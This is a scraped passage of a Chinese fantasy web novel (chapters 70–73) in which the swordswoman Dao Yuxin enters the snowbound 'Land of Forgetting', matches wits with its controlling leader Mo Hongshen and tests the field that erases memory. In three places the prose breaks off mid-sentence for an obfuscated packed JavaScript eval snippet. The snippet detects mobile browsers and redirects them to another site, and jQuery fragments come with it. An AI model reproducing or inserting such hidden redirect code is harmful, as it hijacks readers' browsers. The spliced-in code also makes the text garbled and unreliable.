“老大,他们来了。”埋伏在雪地中的赏金猎人们凑近低声交谈。 领头少年人眉头一挑拿起望远镜捕捉着目标动向,他很清楚只要他们再继续往前几步就会受到伏击。 若能直接将除血种之外的人那便是最好,若无法将其快速击杀那么就吸引他们的注意,趁这间隙他便带着另一批人将血种掳走。 计划万无一失每个人都互相信任合作多年,他相信这次行动会如从前一般顺利。 但在风雪呼啸的间隙领头少年人心头涌现一丝古怪,在短短一瞬间他的视线捕捉到为首之人面上浮现一个略显诡异的笑容。 她在笑什么? 这让领头人心生疑虑,再定睛一看原本的五道身影只剩下四人,为首之人已经消失不见。 “找到你了。”他似乎听见恶魔在耳畔低语。 “老大!小心!”忠心耿耿的手下替他挡下致命一击,领头闻声看去,只余一股温热的血液喷洒在他裸露在外的眼上。 没有时间诉说自己内心的恐惧和崩溃,领头少年人视线范围之内不再是一片雪白,自人体中喷涌的血液染红地面,倒在他面前的下属身上血液还没来得及滑落就已经因为寒冷凝结成血珠。 “所有人撤退!”领头少年人在恐惧和愤怒下做出正确的决策,他很清楚在绝对的力量差距下再多的人数都无法弥补差距。 只不过这份屈辱他也不打算就这么结束。 “我早晚要让你付出代价。” “你大可以试试。”刀语心听过相似的话很多次,“你觉得自己真的逃得掉吗?” 将他人视为猎物者就要做好自己被狩猎的打算,刀语心也不会让自己的猎物离开第二次。 在盲目奔袭中暴雪中的人们一个个倒下,但恶魔在他们身后穷追不舍他们永远无法摆脱。 “该死的。”有人破口大骂着舍弃生路向后冲去,但绝大多数人都只为了自己地生存在不断向前奔至末路。 “前面……是悬崖。”只剩下最后一人和领头对视。随后身边之人失去声息朝不见天日的谷底坠去。 他就要死了? 领头转过身看着黑色的恶魔一步步朝他走来,他自知死亡即将降临,但他不愿意放弃抵抗。 他想拉着刀语心一起死。 兵刃交错之间他的意图被洞穿,领头之人的武器被顷刻间熔为废铁:“玉石俱焚?你还不配。”刀语心很清楚他的打算,她可不打算和这种人死在一起。 她单手掐着他的脖颈,随即举剑准备送他上路。 但他们所处的那块雪地突然开始崩塌滑落。 身体瞬间失去重心刀语心意识到变故突生,但她腰间系着连接绳和登山杖稳稳地绑在一起,还有异化之力可供短距离穿梭,手上的灭灵剑也可以形成一个支点。 只是在她坠落的那一瞬,连接绳被整齐切割异化之力失去也被隔绝,灭灵剑刺向峭壁的落点被无形阻隔。 天地倒转,他们置身一片未知区域。 刀语心抬眼,只见数支锋利长枪齐刷刷对准自己。 71. 第 71 章 “请住手女士,遗忘之乡禁止同类相杀。”一道声音从刀语心背后响起。 闻言,她只是垂眸看着被自己掐住脖子还在狠狠挣扎的赏金猎人,片刻后她松开手,赏金猎人也得以重新呼吸到新鲜空气挣扎到一旁剧烈咳嗽。 对准刀语心的长枪也后退分毫,而就在这短暂的刹那刀语心将灭灵剑捅进他的心脏。 气管中喷出血液,赏金猎人重新开始挣扎。 “我没有杀他。”近在咫尺的锋刃没有让她退后分毫,刀语心甚至朝着枪尖所在向前一步,“他还没死,不是吗?” 看着异化之力没入赏金猎人的躯体刀语心收起灭灵剑举手示意投降。 随着刀语心动作有一支长枪没有上前甚至后退,谁都能从当下情景明白,她并不是什么好惹的角色。 微微后退的守卫被人拍上肩膀,面上肉眼可见地浮现恐惧,这番不正常的景象也让刀语心的视线转移到这人身后。 她对上一双灰色的眼,对方两鬓微霜脸上带笑但她很清楚这份笑意只是假象。 “把这位伤员送去治疗,其他人放下警戒。”并不强硬的语调内涵不容置疑的命令,听到吩咐后的守卫们即刻开始执行。 在此期间那人走到刀语心面前:“你好,我是墨弘深。” 听到这声音刀语心明白他就是先前出言制止她动作的那人,他语调平稳低沉自始至终未曾改变,看来这人在遗忘之乡内拥有极大话语权,意料之中的领袖角色。 “我是刀语心。”她回以简单介绍。 “那另一位是?” “我不认识他。”她淡淡道,语气中不带一丝情感。虽然在规则胁迫之下她没有了结赏金猎人的性命,但没入他身体的异化之力会让他陷入永不醒来的沉眠。 “这样啊……”墨弘深轻声回应目光依然温和,但刀语心无端感到一股恶寒,自己正在被他审视。 这时有人匆匆跑来打断这一过程,低声在墨弘深耳边说了几句,他们没有刻意回避刀语心隐约听见粮食产量减半,得知这个消息的墨弘深面色不改。 “尽快找出原因。”他轻声吩咐,“以及要确保冰库一切正常。” “是。” 结束这个小插曲后,他重新挂着笑意转向刀语心说道:“之后有引路人为你介绍遗忘之乡,这里所有人都有一个共同的愿景——早日离开这里,回到真正的现实世界。” 他似乎是在诉说一个美好未来,对此刀语心感到不适。 “刚才的事看在你是初犯并且你们有一些我不知晓的原因,我可以不计较。”说着,他语调一转,“但之后可不能这样了,刀语心小姐。” “规则不能被一而再再而三地打破,违背之人,会受到处罚。”他说完,轻拍刀语心肩头后分别,动作看似亲切,却让她感到一种难以言喻的威胁。 漆黑目光盯着墨弘深的背影片刻,刀语心转身跟随引路人离开。 路上,她默默打量着遗忘之乡的内部。街道上的大多数人脸上没有丝毫笑意,眼神空洞步履沉重,天空中飘落的雪花让氛围更加压抑。 联系之前听到的消息,这里的人勉强维持生存已经是困难还要不停寻找出去的方法,宝物也迟迟不见踪迹。 这里与外界想象中的桃源乡完全不同,灰蒙蒙的色彩笼罩一切,连希望都被吞噬殆尽。 走在刀语心身前的引路人看着落在手中的雪花叹气道:“这样的日子已经有四年之久,被困在这里的我们除了从新进来的人口中得知外界信息之外,什么都无法知晓。” 她转头看向刀语心询问:“这里的人们有的是为宝物而来,有的则是被意外卷入。小姑娘,你呢?你又是为什么进来?” “二者皆有吧。”当然,主要还是前者。 引路人拿出一个册子递给刀语心,封面上写着行动手册。“在遗忘之乡你不必拘谨,只要完成每天的任务就可以自由活动。当然,这是一份交易,如果不愿意接受也可以离开。” 她停顿一会后接着补充:“但我个人建议是你最好先留在这里。” 对上引路人看向自己的双眼刀语心明白她的言外之意,若是自己执意离开会有更大的危险。 一路上落在自己身上的目光不算少,刀语心察觉这些视线并不是出于好奇,而是藏着一些难言的古怪。 来到安排好的房间,简陋但足以遮风避雨。毕竟这里不是真正的桃源乡,刀语心有充足的理由怀疑那些向外传递信息的梦境只是为了吸引更多的人进来遗忘之乡帮助其中的人破局。 她站在窗外看向同样破旧的街道,心中涌出新的疑问:所有进入遗忘之乡的人,都还活着吗? 窥视外界的视线投射向外,远处有一个方方正正的建筑外部上涂画着冰库二字,厚厚的铁门紧闭隔绝其中所有。 收回目光坐在床上,床板咯吱作响,刀语心翻开那本行动手册,第一页只有一行加黑的字句: “一切都是为了我们所有人共同的愿景。” 将手册内容粗略浏览一遍,第一天只用先适应环境,第二天开始就要去发布中心领取个人任务。 剩下的时间刀语心没有再挪动步伐,不多时她就掀开被褥躺下看着粗糙的水泥墙面,她并没有停止思绪。 踏入风雪就是为了来到遗忘之乡,而如今她的目的已经达到,虽说暂且同伴失散但对此她并没有太多的担忧,她相信谢止沉迟早会来到她的身旁。 之所以选择进入遗忘之乡,就是要得到那件口口相传的宝物。 即便目前没有足够的信息确定那到底是何物,但刀语心拥有强烈想要将其得到的意愿,她必须为未知且不可控的未来做好打算。 只是自来到遗忘之乡的那一刻起,一种不好的感觉就一直飘荡在她心头。 此时此刻一股让人不适的窥探感加重这一想法,在房间视线死角床被缝隙间,刀语心触碰手腕上的流光在上面写道: “有人在监视我。” 在风雪中行进的谢止沉收到刀语心传递的讯息,在刀语心离去后作为临时领队的他突然在其余三人面前止步。 “不去找姐姐了吗?”短暂沉默后雪姬出声询问。 “……我们等一会再进入遗忘之乡,进去后要装作不认识她。” “你们也可以不这样做。”谢止沉补充道,只要他们能承受后果是在暴雪下迎接死亡。 在被厚雪覆盖无人察觉的地下无数流光如同蛛网般蔓延着整个山谷,在远处流光传来新的消息后谢止沉带着三人偏离既定的方向继续前行,未曾停歇的大雪很快掩埋他们的行迹。 进入遗忘之乡的次日,刀语心起了个大早前往发布中心。 街道上大多数人都麻木地朝同一个方向行走,混迹在人群中的刀语心很清楚有无数道刻意探究的眼神从自己身上流过,那不是出于某种好奇而是一种监视,从前在无名镇她经受过无数次与此刻相似的场面。 只是现在她还无法确定这举动是针对她个人还是针对所有来到遗忘之乡的新人。 由于常年封闭遗忘之乡内科技落后,任务采用人工发布效率十分低下,刀语心甚至用不上地图,只用跟着人群就能找到发布中心所在。 遗忘之乡内昼夜变化和外界一致,天才蒙蒙亮狭小的任务窗口前就排起长队,身穿斗篷的刀语心进入队列。 隐匿在人群中的刀语心依然能够感受到那些烦人视线从四处传来,看着四处巡逻驻守的守卫,刀语心只能将心中的不耐按下,还不是时候。 她沉默着听周围传来的交谈声,从中获取一些有用信息。 “最近食物配给真的是越来越少了还全是些残羹剩饭,越吃越恶心。” “唉,又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012109|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个多月了,这次探索队也还是杳无音信,感觉还是在原地踏步。” “也不知道这次……” “嘘——” 队伍很长但领取任务的速度不算慢,转眼间刀语心就从队伍末尾来到窗口。 轮到刀语心后,发布任务者嘴角下垂皮肉紧绷地对刀语心说:“请解除你身上的隐匿装置。” 注视着刀语心清楚地看到那人眼中有特殊纹路在流转,大概是在使用技能对她进行侦测,只是刀语心向来不希望自己的身份暴露人前。 而就在这短暂僵持不下之间,身后的队列已经注意到这不同寻常的异常状况开始探头查看队列最前端的情况。 排在刀语心身后几个人也在开始抱怨着:“快点啊,别磨蹭了,我们还赶着上工呢。” “就是就是。”有人出头后,紧接着附和声此起彼伏。 这些闲言碎语没有让刀语心做出下一步动作她还在僵持,直到视线注意到发布中心一旁的守卫开始动作后,她才迟迟动手掀下自己的斗篷。 她在验证手册上的一条内容:任何扰乱秩序的行为将受到守卫制裁,以确保集体安全与探索进程。 只是既然守卫已经被她引起了注意,对方就不打算就这么放过她,身穿盔甲提着剑一步步迈着沉重的步伐朝刀语心走去。 “你完了。”身后传来讥笑声,先前抱怨的人们此刻幸灾乐祸地准备看一场好戏开演。 守卫没有拔出利刃,但光是那剑鞘落在人身上也极为痛苦。 对此刀语心面色平静站在原地,她甚至没有分给守卫一丝一毫的视线范围。 而就在守卫惩罚性攻击即将落在刀语心身上的一刹那,“住手!”发布者出声制止守卫的动作,看着发布者眼中的纹路停止转动,刀语心知道这是对方成功得到她的职业信息。 “你是锻造师!怎么不早说,我们遗忘之乡就缺你这样的人才!” “呵。”看着悬停在自己面前的剑鞘,刀语心发出这场闹剧唯一一个音节。 围观群众和守卫直到听到一声冷笑后,才发现这一切自始至终就在她的预设之中,刀语心无比清楚自己身为锻造师价值无量。 “请你到会客室稍等片刻。”发布者一改之前一成不变的麻木面容,挤出略显怪异的讨好笑容。 原先准备对刀语心施以惩戒的守卫脸色也是一变又一变,最终弯腰躬身朝刀语心开口:“请随我来。” 坐在会客室的柔软皮质沙发上,刀语心整理自己的思绪,从先前的等待期间开始她就持续不断通过观察来获得信息,现在她的视线落在队列末尾,她发现队列中有一位明显伤者在排队领取任务。 可她记得手册中有一条写着生病受伤可以休息。 在门外的守卫注意到她的目光自顾自地开口说道:“怎么,发现现实和手册上写得不一样了?规则都是人制定的,手册只是死物而已。你大概还会在这里待很长时间,在以后的日子你会发现这样的事情还会有很多。” 他想通过自己的经验之谈为之前的冒犯赎罪,但迟迟得不到回应守卫只剩尴尬,不过他也不敢发怒。 身为守卫的他很清楚在遗忘之乡中珍稀职业的重要性,面前这人的价值远超他本身。 看着灰蒙蒙的天和那些如同行尸走肉般的人们,他在不知不觉间将自己心中的疑问说出:“你真的觉得我们可以出去吗?” “我能。” 听到这两个的守卫深深看了刀语心一眼,但很快他收回视线,挺直腰板,恭敬地向来人行礼:“首领好。” 对此墨弘深没有回应,甚至没有看守卫一眼。他径直走向她所在,脚步声在寂静的房间里格外清晰,每一步都仿佛踩在刀语心的神经上。 “又见面了。”他语调温和,却带着一种无形的压迫感,“你还真是让我惊喜不断。” 72. 第 72 章 “遗忘之乡的人文关怀也给我很大惊喜。”刀语心话语中是毫不掩饰的讽刺。 听到这话墨弘深脸色未变,他走到刀语心对面坐下从容不迫地说道:“若非必要我也不想采取这些极端手段,在进入遗忘之乡这四年间,所有人都在经历难以想象的事情。” “遗忘之乡和外界隔绝但没有阻隔掉那些冰冷气流和雪花,光是解决生存问题就已经付出无数心血。” 视线落在虚空,墨弘深似乎是在回想那些无比艰辛的过往,他自风雪中带着其他人一步步在这个严寒空间中寻求生路。 “这就是你造就这份痛苦的理由?” 面对这份质询墨弘深没有反驳,他只是从回忆中脱身抬头与刀语心对视:“你说的没错,这也是我没有做好的地方。实在是有太多事情牵绊着我的心力,我很想将每一件事做好但我做不到。” “我制定好很多规则和计划让所有人都有事可做都出一份力,尽力模仿外界正常生活……但在让人绝望的事实面前,我无法力挽狂澜。” 刀语心能理解这句话,在亚空间中她就见过因环境而崩溃的人群,不见光明不见前路,比起承受常年寒冷侵袭更恐怖的是面对未知恐惧的精神折磨。 但看着眼前表现得鞠躬尽瘁的墨弘深,她隐隐约约觉得有什么地方不对。 她无法确定他是真心,还是表演欲望太强。 “只要找到离开的办法,所有人就都可以回到正常世界的生活中去,我所做的一切都是为了离开,这也是我们所有人共同的愿景。”墨弘深眼神坚定地说道。 又是这句话。 从第一次和墨弘深见面、手册的第一页,以及现在他又一次强调,刀语心对这句话印象深刻,这恐怕是身为领袖的一种精神控制手段。 但既然刀语心能够识破并甄别,那么她在短期内就不会受到影响,不过也只是短期,她不确保自己是否会被人群同化。 “我并不是通过折磨他人来获得自我满足的人。” “没看出来。”刀语心并不喜欢绕来绕去的试探,“那么,你是想将我视作棋子?” “不,怎么会呢,我希望能和你进行友好合作,你身为锻造师无论是在遗忘之乡还是在外界都是不可多得的职业,我们共同联手可以使我们的利益最大化不是吗?” “这么说来你很清楚我所需要的利益是什么。” “当然,我相信你一定是为传闻中的宝物而来,绝大部分人都是这样。”墨弘深十分笃定。 “合作没问题,但我也需要相应报酬。”刀语心不是什么乐得自我牺牲的人更不是谁都有资格成为她的合作对象,她其实更愿意称这场合作为利益交换。 “当然,我可以为你提供所需资源以及……” “不,我想知道的是与宝物相关的所有信息。”没有人比身为首领的墨弘深更了解这些。 似乎是没料到刀语心会如此直接,墨弘深表情微微一滞下意识用手抵住自己的额头恢复表情后笑着说:“完全没问题。” 随即他抬头,眼眸中带着一丝深意看向刀语心道:“只要你提供的价值能让我认为值得。” “那么先说一部分信息作为我的诚意,宝物的确存在它位于遗忘之乡的最深处,之所以被称作遗忘之乡是因为只要一旦尝试进入深处,就会渐渐忘记一切。” “那些进入的人们会忘记自己是谁,自己从哪里,自己要做什么,最终迷失自我迎来死亡。” 他平静语调吐露的信息却比屋外的风雪更加让人感到冰寒。 刀语心明白这些都是最表层的信息,在遗忘之乡的四年间墨弘深拥有更多详细情报,只是那些就得作为交易内容交换。 “你需要什么。” “我要……能让深寒坚冰融化的道具。”听着他低沉沙哑的语调,刀语心认为这是尝试逃出遗忘之乡的手段之一。 “那就祝我们合作愉快。”墨弘深知道刀语心不会拒绝自己,只是很快他话锋一转,“不过我还有最后一句话想告诉你——在冰天雪地里,孤身一人是活不了太久的。” 对于这句暗藏威胁的话语刀语心毫无动摇,她起身头也不回地离开。 “拭目以待。” 在刀语心离开后墨弘深久久未动,明白他需要独处空间的守卫主动将门关上离开,看着最后一缕光线被隔绝在外后,墨弘深才叹出一口气。 “救世主啊……希望你不会让我失望。”他的低声自语无人听到。 由身为首领的墨弘深直接对刀语心下达任务后,刀语心就跟着发布者来到自己的“办公场地”并且被告知之后都不用去领取任务,对方带着略显谄媚的笑容说道:“您只用专心完成首领所需道具就可以。” 说完后就逃似的离开,刀语心则是抬眼打量着周围环境,破旧的砖瓦积满灰尘本该散发温暖的火炉此刻被冰寒浸透。 她走向屋内唯一的桌子上面摆放着许多破旧图纸,伸手将纸张拿起她拂开那些掩藏字迹的尘灰,孤身一人站在屋内的刀语心梳理着上面记下的图纸和内容,工图简洁明了不过一旁注释的字迹潦草凌乱。 这些不知是谁留下的草稿全都围绕着一件喷火器设计,这也和墨弘深所需要的东西对得上。 快速浏览完所有遗留资料后刀语心发现其中不足,喷火器核心处被圈起画下问号和边缘处的干涸血迹无声诉说出结局。 这件道具缺少最为关键的能源核心,这大概也是上任设计者最终失败的原因。 遗忘之乡与外界隔绝即便有人储物空间中拥有能源也只会是少量,再者这设计者也不是专业锻造师没有使用特殊锻造手法和增幅刻印,效率不够就只能通过量产达到墨弘深的要求,最终陷入死循环。 视线从褐色血迹上移开,刀语心明白这是墨弘深特地给她传达的信息:如果她没有利用价值,下场也是灭亡。 思索片刻后,刀语心施展清洁术简单搭个椅子就开始画图。 如果此刻有资深一点的锻造师在刀语心身边就会发现,这份图纸看起来有模有样实则只是在做表面功夫,总体设计缺乏深度和实质内容,是一个空壳。 这很明显不是刀语心的水准,她完完全全是故意的。 这场合作完全不对等,表面上是墨弘深有求于刀语心实际他只将刀语心视为一枚好用的棋子,只有她体现足够价值才会获得一点微不足道的奖赏,她知道无论如何墨弘深不会将核心情报告诉她。 刀语心不需要这种苦苦乞求得来的恩赐,她会用自己的方式去得到想要的一切。 白日即将过去,在离开前刀语心刻意记下桌面各种物件的摆放位置,这是她给墨弘深设下的陷阱。 如果墨弘深真的像他体现的那样一心只为离开遗忘之乡不求其他,那么他就不会上钩,反之,如果他心中暗藏祸端那么刀语心之前感受到的监视和不同寻常的一切也就都有了理由。 结束工作的人们三三两两朝着食堂迈步刀语心选择随波逐流,只是进入其中的她很快就离开,她无法忍受。 若是没有吃过精心制作的菜肴,她大概也能吃下这些用于维持生命运转的食物,储物空间中些许零嘴可以让她先逃走一段时间。 趁天还没彻底暗下去,刀语心四处游荡。 看着周围的一切,刀语心忽然觉得遗忘之乡如同一台冰天雪地中的机器,而每一个人都是其中的齿轮。 孤身一人行踪飘忽的她自然遭到守卫注目,在她朝着某个方向继续前进时,她被叫停。 “前面是禁区,非首领批准不得通行。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025144|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她停下脚步没有再继续,只是视线穿过拦住自己的守卫打量着对方身后的建筑,外表符合遗忘之乡一贯冰冷基调,但从用料和精细程度来说和其他建筑完全不是一个层次,其中灯火通明的亮光也生生撕破寒意。 停留间,一阵食物香气飘来。 守卫肚子叽里咕噜叫了起来,还没等他感到尴尬就看见刚才拦下的人已经转身离去,只听见隐隐约约有话从前面飘来:“朱门酒肉臭。” 回到狭小住处的刀语心在死角处理掉房间内的监控设备,与此同时制造出自己睡觉的假象。 她不想按照墨弘深规划好的剧本走向,她要先自己去探索答案。 借由夜色掩护和异化之力短距离位移,刀语心绕开在漆黑中扫射的灯塔光束和巡逻守卫,一步步朝地图上被标明产生影响的地点边界走去。 她站在交界处,目光扫视着周围想要捕捉异象,但无论如何确认界限的两端看起来都毫无区别。 心中警钟已经敲响,直觉告诉她再往前一步就会被遗忘之乡影响。 根据先前墨弘深透露的信息她可以得知,只要踏入影响范围就会逐步失去记忆,而她此行的目的就是尝试进入其中。 只有切实体会过影响,才能更好地面对。 她回想着有关自己的重要记忆,简单编译后用数据形式储存于终端之中。 冷风拂过面庞,做好准备的刀语心没有过多犹疑她迈出一步踏入其中,而在短短一瞬,一股奇异之感包裹着穿透她的全身,就像是无形之手剥离走她的一部分。 在被那股感觉完全侵蚀之前,她猛地后退回到边界以内。 回到安全地带的刀语心仔细揣摩着刚才经历的感受,她记忆的确被改变但并不是被彻底抹去,而是被剥离,这样的经历她曾经也…… 曾经?那是什么时候的事? 思及至此,刀语心眉头蹙起,那种失去记忆但无从想起的感觉实在折磨。 她查看自己储存在终端中的记录,那些深刻的人和事物她都还记得,只是刀语心不可避免地开始犹豫,那种对未知难以言喻的恐惧在不断蔓延。 她不知道下一次会遗忘关于什么的记忆。 过去塑造现在的她,如果失去所有的回忆那是否等同于她失去此刻的自己? 记忆深处的仇恨关乎着她心中未曾熄灭的怒火,与之完全相反的美好回忆也是支撑刀语心不断前行的永恒燃料。 她不想失去其中任何。 可刀语心也明白自己不能止步于此,但她也知道自己不能盲目行动,况且这些记忆不是完全被摧毁只是正在逐步被覆盖,此行的目的已经实现她已然亲身承受代价。 站在原地的她一时半会无法找出解决目前困境的方式,在结束一切行动后刀语心悄悄回到住处。 睁着眼看着破旧天花板刀语心在整理思绪,她推测失去记忆并不是直接死因,因为在进入后她没有任何身体不适,那么是否只要有一个目标指引失忆的自己就有可能抵达深处。 但这只是最好的设想,失去记忆是最大变量,她无法确定失忆的自己是否会顺从指示。 次日,刀语心融入人群前往工作地点,虽然看起来桌子上的摆放是和昨天一模一样但依然有地方偏移分毫,墨弘深不负期望地在暗中调查刀语心昨日成果。 见此刀语心了然,墨弘深外在表露出的一切都是虚伪的假象。 将图纸简单修改后就放在一边,目前最重要的是找到应对遗忘之乡的对应方法,怀揣着这个念头思考一整天的刀语心走在回去的路上看见远处传来骚动。 “又有人来了。”听到周围谈论声后,刀语心朝入口处看去。 茫茫人群中,刀语心准确无误对上那双一直注视她的赤色眼眸。 73. 第 73 章 看到谢止沉,刀语心并不感到意外,她知道谢止沉在收到她传达的消息后一定会做出应对措施。 没有第一时间急忙相认就说明事情发展和刀语心设想的一样,她孤身一人在明处面对墨弘深,而其他人则隐藏在暗处伺机而动,过早暴露只会让墨弘深阻碍他们下一步行动。 没人察觉的视线交汇只持续短短几秒,刀语心就先一步转身离去不再多作停留。 围巾被收起来了。 视线不由自主地追逐刀语心离去背影的谢止沉在心中想到,如果不是要提防那些不怀好意的人他现在就可以帮她重新围上。 指尖嵌入手心从未松开在皮肤表面留下不浅红痕,他明白自己不能意气用事,刀语心也不会希望他做出格之举,特地让一大批人同时进入遗忘之乡为的就是混淆视听。 强迫自己移开目光,谢止沉随人群朝与刀语心完全相反的地方走去。 没去食堂吃难以下咽的饭菜,刀语心跟着零散人群走到一个建筑下,公共活动室五个大字写在墙壁外围。 推开那吱呀作响的门扉踏入走廊,脚边是从墙上脱落的碎屑,风雪被阻隔在门外温度不再流逝,随着进一步踏入耳边的闲言碎语声正逐渐放大。 尽管任务分配制度严苛,但好在并未侵占人们夜晚的闲暇时光,结束工作后人群大多聚集于此聊天解压。这里没有守卫监视也没有平日那样的压抑氛围,这也代表在这片空间中人们可以随意交流。 不过嘛…… 看向潜藏在装饰物中的摄像头,刀语心再次对墨弘深的控制欲有进一步认识,她知晓这一切平和都是他制造出来的表象。 在得到足够的信息前她不打算戳破对方的精心伪装,她没有多做停留。 与遗忘之乡冰冷基调不同公共活动室中暖色调灯光遍布,同时还配备有舞池和吧台,视线扫过之处一个刀语心熟悉的身影正在舞台中央歌唱。 是莉莉安,在空间中回荡的动听歌声让活动室内所有人心甘情愿成为她的听众。 伴随着悠扬曲调刀语心找到一个角落坐下,只是还没等她点单侍从就微笑着走近将一杯色泽温润的酒轻轻放在刀语心面前。 “小姐,这杯酒是有人特意为您点的,名字叫‘月光之吻’。”还没等刀语心让侍从退回,对方就迅速撤离。 面对突如其来的示好刀语心清楚原因所在,她作为锻造师刚来遗忘之乡就受到墨弘深的重用,一定会有人想拉近她的关系借此牟取自身利益。她面无表情地看着那杯液体,将其彻底无视。 不多时,侍从却又再次朝她而来,还带来另一杯新酒。 “小姐,这杯酒的名字叫‘勿忘誓言’。”侍从这次没有端稳,酒液从杯口洒出些许落在托盘的信笺上。 抬眼对上侍从的眼眸刀语心发现对方眼中有隐秘能量流动,应该是某种手段控制对方来传达这份信息,刀语心似有所感朝一个方向看去,那是沈辞和雪姬所在。 对上刀语心视线后沈辞远远和她举杯示意,在他身边的雪姬也小心翼翼地朝她投来视线。 伸手将托盘上的酒杯拿起,同时在拿酒的瞬间刀语心不着痕迹地收起信笺,脑海中的思绪没有停止,她在想控制侍从的人会是谁。 莉莉安?或者说,是她的歌声。 直到歌声停歇周围传来不那么整齐的掌声后,刀语心起身离开公共活动室。 暗中盯着刀语心一举一动的人影见她离开后给墨弘深传去消息:“她一口都没喝。”这人还真是难下手,防备心强得要命,食物一点不吃液体也是一滴不进。 很快他收到下一步指令:“再找机会” 对此一无所知的刀语心走在回住处的路上,夜色已然漆黑来来往往的人群也三三两两,只有她形单影只。 不知道为什么没看到谢止沉,他应该在他们身边才对。 这么想着,刀语心顺着忽明忽暗的灯光走到门口插入钥匙打开房门,在推开门的那一刻先前冒出心头的疑问就有了解答。 “你回来了。”房间内,谢止沉已经等候多时。 这个房间里没有任何属于刀语心的东西,她不会去询问为什么谢止沉会如此精准无误地出现在这个房间之中。她面上没有任何神情变化径直走入房间关上门,外面有太多监视的视线。 在转过身的刹那,一个炽热的拥抱将她身上的寒意融化。 “我好想你。”耳边传来刀语心从未设想过的话语,所有思绪在此刻全数停止。 在她还没有反应过来究竟发生什么时拥抱就已经中断,将她错愕的神情一清二楚收在眼底的谢止沉只是扬起嘴角。 “先吃点东西吧,这几天肯定没好好吃饭。”谢止沉知道遗忘之乡的食堂有多难吃。 主动岔开话题也是他不想给刀语心造成太多困扰,他清楚刀语心背负着沉重枷锁,他不希望自己也成为其中的一部分,他应该让刀语心负担再小些,而不是增大。 回过神来刀语心没有拒绝谢止沉的好意,她吃上进入遗忘之乡后的第一口热饭。 被击溃的思绪重新开始转动,边吃刀语心边琢磨谢止沉究竟是怎么保存的,若是食物提前冷冻口感不会这么好,在储存空间存放食物也会腐烂,空间戒指中无法让时间流动静止。 明白刀语心疑惑的谢止沉主动解答:“只是用了几张卷轴而已。” “什么等阶的?” “……橙阶。”说着谢止沉有些心虚地看向刀语心,如果她不问谢止沉是不打算如实告知的。 “这算是暴殄天物吗?” “你开心就不算。” 在刀语心享用食物的同时,谢止沉给她讲述着这两日他们的行动。 “收到你的消息后,我就找到另一些想要进入遗忘之乡的寻宝者。”在流光的刻意诱导下,这段时间内在遗忘之乡外围还没进入的人都被聚集到一处。 明面上的交涉都交给沈辞和莉莉安去做,谢止沉负责在暗中操控着所有人的走向。 刀语心也将自己和墨弘深达成的交易告诉谢止沉。 “我总觉得事情没这么简单。”她总有种不好的预感,“你的房间内也有监控吗?” “有,但没有受到监视。”谢止沉确定过,他们这行人并没有多少人受到遗忘之乡本地人的特别关照 又是属于她独一份的待遇。 看来墨弘深不止是控制欲过剩,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16037566|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概率又是对刀语心别有所图。即便在心中早就想过这是可能出现的局面,刀语心还是有些麻木,但她明白问题只能去解决。 “遗忘之乡已经存在四年我认为在这期间进入的人数应该不止现在存活的这些,我想知道这些人死亡是否正常。” 初来乍到的几人面对掌控遗忘之乡依旧的墨弘深直接掀桌不是明智之举,四处遍布的守卫就昭示对方在人数上占据绝对优势,让他们内讧是个不算差的选择。 点燃需要引线,这正是刀语心目标所在。 “不过最主要的还是早日得到遗忘之乡的宝物。”刀语心不会本末倒置,若墨弘深不会对她造成阻拦,那她也不会做出反击。 “我尝试跨过界线进入被影响的范围,我的确失去了记忆。” 听到这话谢止沉眉头一皱,他并不想让刀语心以身犯险可事情已经发生,他抬手结出一个治疗法术检测刀语心身体状况。 任由谢止沉动作的刀语心只是出言安慰:“放心,我没事。” “我不希望你把我也忘了,我更不希望你会因此受伤。”那双盯着刀语心的双眼没有一丝游离,吐露的每一个字都发自真心。 只是很快谢止沉错开视线,他也明白事情不会一直按照他期望的方向发展。 侧过的面庞被轻轻转回,谢止沉感受到刀语心手心传来的温暖,看着少有的温柔视线此时此刻正注视着自己。 “记忆只是暂时消失并不是永远失去,即便我真的忘了你,迟早我也会重新想起的。”她轻声作出承诺。 无言沉默半晌,他贪恋着属于她的温度。 “一言为定。” “嗯,一言为定。” 安抚好略显不安的谢止沉后,刀语心详细给他讲述那天晚上的经过,“我有些好奇其中的运作原理,你知道究竟是什么导致记忆被覆盖吗?” 根据刀语心的所见所闻,谢止沉结合以往经验得到一个结论:“遗忘之乡深处的宝物形成了场。就像宝石有增益场,魔芯有能量场,这样蕴含庞大力量的宝物会通过自身产生场而对周围产生影响。” 况且遗忘之乡又是外部空间锁定又是记忆覆盖影响的方面完全不同,由此得出更进一级的结论: “不同的场之间还可以叠加互相影响,遗忘之乡内的极有可能是复合场。” 